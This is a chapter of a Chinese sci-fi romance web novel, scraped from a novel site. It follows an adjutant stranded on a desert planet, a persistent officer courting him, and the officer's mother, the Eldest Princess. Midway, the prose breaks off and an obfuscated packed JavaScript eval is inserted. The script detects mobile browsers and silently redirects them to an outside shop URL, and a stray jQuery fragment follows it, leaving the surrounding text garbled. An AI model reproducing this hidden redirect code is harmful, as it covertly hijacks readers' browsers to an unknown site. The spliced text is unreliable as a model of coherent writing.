文趣网 > 都市小说 > 高调登场又争又抢[快穿] > 8. 长公主
    宣朔冬的梦想是尽快退休。但照目前来看,就算任务主线顺利完成,他也未必能在这个世界休假,大概率还是要提前脱离,然后马不停蹄地开启下一项任务。

    钱难挣,……难吃。

    人生一眼望到了头,好绝望。

    跟2111蹲在外面,望着茫茫黄沙发了会儿呆,宣朔冬忽然开口:“离这颗星球最近的军事观察站有几所?”

    2111迅速回答:[三所。]

    “那最靠近袭击点的呢?”

    [编号L4H-51,距离袭击点只有不到两光年。当时也是这个观察站最先做出反应的。]

    宣朔冬点点头,望向飞船坠毁的方向。“把频率拉大,监测所有观察站的通讯。”

    [什么意思?]2111似懂非懂。

    “也不能一直在这儿待下去,”宣朔冬随手捡起一根棍子,“该走的时候就得走。”

    如果搜救队烂泥扶不上墙,宣朔冬得想办法自己发送坐标出去。他最多再在这颗星球上耽误几天。

    “而且……”

    他喃喃自语,眉毛皱紧,想说什么却没说完。

    2111看出他在担心别的,便撞撞他的肩膀,追问:[而且什么?]

    “而且袭击很奇怪,”宣朔冬不肯细说,“还是小心一点吧。”

    他尽量不将待遇问题放在心上,毕竟早有准备。

    他跟陈朗的关系很复杂,宣朔冬明明觉得自己在有意维护,但是越闹越僵。

    最初几年还好,陈朗虽然算不上多尊重他,但至少会听他把话说完。最近两年情况急转直下,主角跟吃了枪药似的,也不知道生哪门子的气。

    而且陈朗身边有些人除了挑衅没有任何用处,简直是世界派来跟宣朔冬作对的,就该拿机关枪一梭子全部突突完,免得浪费帝国资源。

    还是得尽快完成任务,宣朔冬下定决心。

    抓紧完成,抓紧离开。等陈朗当上元帅,他马上脱离,说不定还能换个轻松点的任务世界。

    想到这里,宣朔冬燃起对未来的希望,起身拍拍膝盖,刚要返回建筑躲避愈来愈烈的狂风,就见身后不知何时多了个人。

    闻禹行安静地靠在门边,正垂眸看过来。

    在首都星待久了的人,相貌气质会跟别的星系划出不同。那颗星球上有帝国最好的水、最好的空气、最好的医疗和最好的教育,所有这些最好的东西叠加在一起,会给人覆上难以形容的痕迹。

    闻禹行肩背宽阔,身形劲瘦挺拔,眉骨线条突出,自然而然便烘托出锋利压迫之感,可是眼眸微微低垂的时候,却多了几分莫名的柔情。

    宣朔冬本该在他迈出第一步时便察觉到他的动静,奈何现在他的精神域一团乱麻,勉强收拾感官已经费尽力气,因此当他注意到身后有人时,两人的视线已经撞个正着。

    四目相对,宣朔冬忽然开口:“我听说费德将军已经在考虑医疗退役了,是真的吗?”

    费德是上一辈的人,同样边境出身,因为立下大量战功,深受皇帝信任,被提拔到首都星,即将以上将军衔迎来医疗退役。

    他的升迁路线跟陈朗很接近,是个值得考虑的助力。

    闻禹行“嗯”了一声:“就明年了。”

    “他的继任者会是谁?”宣朔冬接着问,“是会从下属军官里面直接拔擢,还是军部从其他军团调人?”

    他的目的相当明确,半点遮掩的意思都没有。

    而闻禹行恰好真知道点内幕,考虑到刚把人惹生气了,他想都没想就要开口回答。

    然而话到嘴边,又被收了回去。

    “刚才跟我避嫌都来不及呢,又找我打听这些,”闻禹行笑着说,“宣副官,这是怎么一回事啊?”

    “不想说就不说吧。”

    宣朔冬才懒得理会这些,绕过他就要往回走。

    可擦肩而过的刹那,垂在身旁的胳膊被人一把抓住。

    宣朔冬停住脚步。

    闻禹行的体温比正常人要高,即便隔着面料,仍然能察觉到些许烫意。

    “不生气了吧?”

    他偏过头,语气有商有量,讨好着、试探着:

    “不生气了我就告诉你。”

    ……

    ……

    首都星。皇畿区。

    优雅的白色光晕一晃而过。挑高穹顶上,闪烁的星辰光辉随着人的步伐明灭。

    侍女端来新鲜的花朵,刚修剪掉多余的枝叶,就听见身后有脚步声响起。

    她回过头,认出来者,连忙躬身行礼。

    “长公主安好。”

    出现的女人一身柔白色长袍,长发挽在脑后,全身没有多少装饰,但气度优雅高贵,足以证明身份。

    她取来侍女手中的一朵鲜花,垂眸凝视时,眉眼与此时远在几百光年外的闻禹行有几分相似。

    “我很好。”她说,“你下去吧。”

    帝国发展多年,科技水平已经与当年刚踏足星空时的窘迫情形截然不同。

    轨道电梯、跃迁引擎、感官静滞场、精神链接技术,每一项都代表着人类文明的巅峰。可是皇室却没有生活在一片科技璀璨中。恰恰相反,他们在一定程度上仍然保持着过往的风格,姑且算是一种强调血统的体现。

    被称为长公主的女人在窗边坐下,随手将花朵放在一旁。

    一直跟在身后的女官认为此时正是最好的时机,上前半步:“闻中将离开首都星了。”

    女人眉梢微挑。“怎么回事?”

    “前日,中将代替元帅前去慰问陈朗少将。慰问之后中将立刻提交了请假申请,连审批都还没过,他就直接离开了,”女官回答,“他的副官昨夜刚来报告,听说也在元帅那里挨了训。”

    “当然会挨训,”女人笑笑,“不遵军纪,回来要挨罚。”

    “是。”

    女官又道:“但现在是多事之秋,袭击事件的调查还没结束。中将离开首都星,是不是应该……”

    “他想做事,拦不住的。”

    长公主摆摆手,不放在心上:,“反正过几天就回来了。”

    她招手让女官靠近,接着将鲜花比在她的鬓角,女官顺从地等待着。

    “我这个孩子呀,从小被惯坏了。喜欢什么就一定要拿到手,拿不到就各种作怪。”

    长公主语气里掺杂着笑意,几分纵容:“小时候就是这样,长大了也没什么长进。”

    她将鲜花别在女官发间,一向寡淡的面容骤然多了几分颜色。女官后退半步,习惯性地抚过花瓣,指尖触碰到花瓣的边缘。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17898100|212885||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    “将军向来有分寸,不会闹得不好看的。”她说。

    “希望如此吧,”长公主不置可否,“就盼着人家不要他,他也能体面些,别闹得大家都丢人。”

    别人不知道闻禹行去干什么,长公主是他娘,心里还能没点数吗?

    从边境来的军团,立了不少战功,就算得到赏识、得到一些貌似光鲜的称号——比如帝国新星——也未必能在首都星闯出什么名堂。

    这样的例子见都见多了,长公主从不会妄下定论,更不会提前押宝。

    闻禹行应当也是。

    可偏偏这次来的人不一样。

    早在许多年前,闻禹行就已经在关注第三机动舰队了。明里暗里,不择手段。

    叫什么来着?长公主细细思索,终于在记忆深处扒拉出一个名字。

    好像……宣朔冬?

    *

    *

    狂风呼啸,一副要把建筑吹塌的架势。

    房间里的小灯幽幽亮着,巴掌大小,灯光柔和,给四周投下暖黄色的光晕。

    宣朔冬靠在墙角,裹着保暖材料,想要一觉睡到天亮。

    然而身边一直有人在打扰。

    闻禹行靠在宣朔冬身侧,漫不经心地把玩小灯的开关,说话信马由缰,一堆有的没的。

    他姿态松弛坦荡,看似随性无意,实则别有用心。

    宣朔冬完全认可了他的诚意,也完全否定了他做出的努力。

    絮絮叨叨的废话正在成为入睡的绝佳催眠背景音,宣朔冬闭上眼睛,放松地沉浸在昏沉睡意中。

    “一个哨兵要想在军部走得远,首先要学会的就是独立自主。我不是说战术上的独立,而是人格上的独立。你得先把自己当成一个完整的个体,别人才会把你当成一个完整的个体。”

    闻禹行把灯调回常亮模式,放到一边,语重心长地分析劝说。

    “如果你从一开始就把自己定位成别人的附庸,那别人也会这么看你。这不是什么高深的道理,这是最基本的人性。人不会珍惜工具,人会使用工具,用完就放到一边,只有坏的时候才想起来修。”

    说到这里,他暂且停住,侧过头观察宣朔冬的反应。

    宣朔冬正闭着眼,呼吸平缓,努力装睡,希望闻禹行可以知难而退。

    闻禹行没有。

    “还有福利申请。”

    他愈挫愈勇,又提起另一口不开的壶,慷慨激昂:

    “你知道第九军团为什么能拿到全帝国最好的后勤配给吗?不是因为我们能打,是因为我们知道怎么争取。一个领导者如果不愿意替自己手下的人争取利益,那他就不是一个合格的领导者。陈朗是合格的领导者吗?”

    宣朔冬没吭声,风气填满了他的沉默。

    “不要浪费自己的天赋。”

    见听众一直不搭话,闻禹行换了个语气,徐徐善诱,尝试洗脑。

    “一个A级哨兵,战术分析能力和政治嗅觉都不差。你这样的人,在第九军团可以带一个独立的战术小组,有自己的预算和决策权。你不用替任何人做嫁衣,依我看,你趁早……”

    宣朔冬沉浸在他的废话里,昏昏欲睡。

    他的呼吸越来越平缓,睫毛不再颤动,陷进浅眠与清醒之间那片温暖的灰色地带。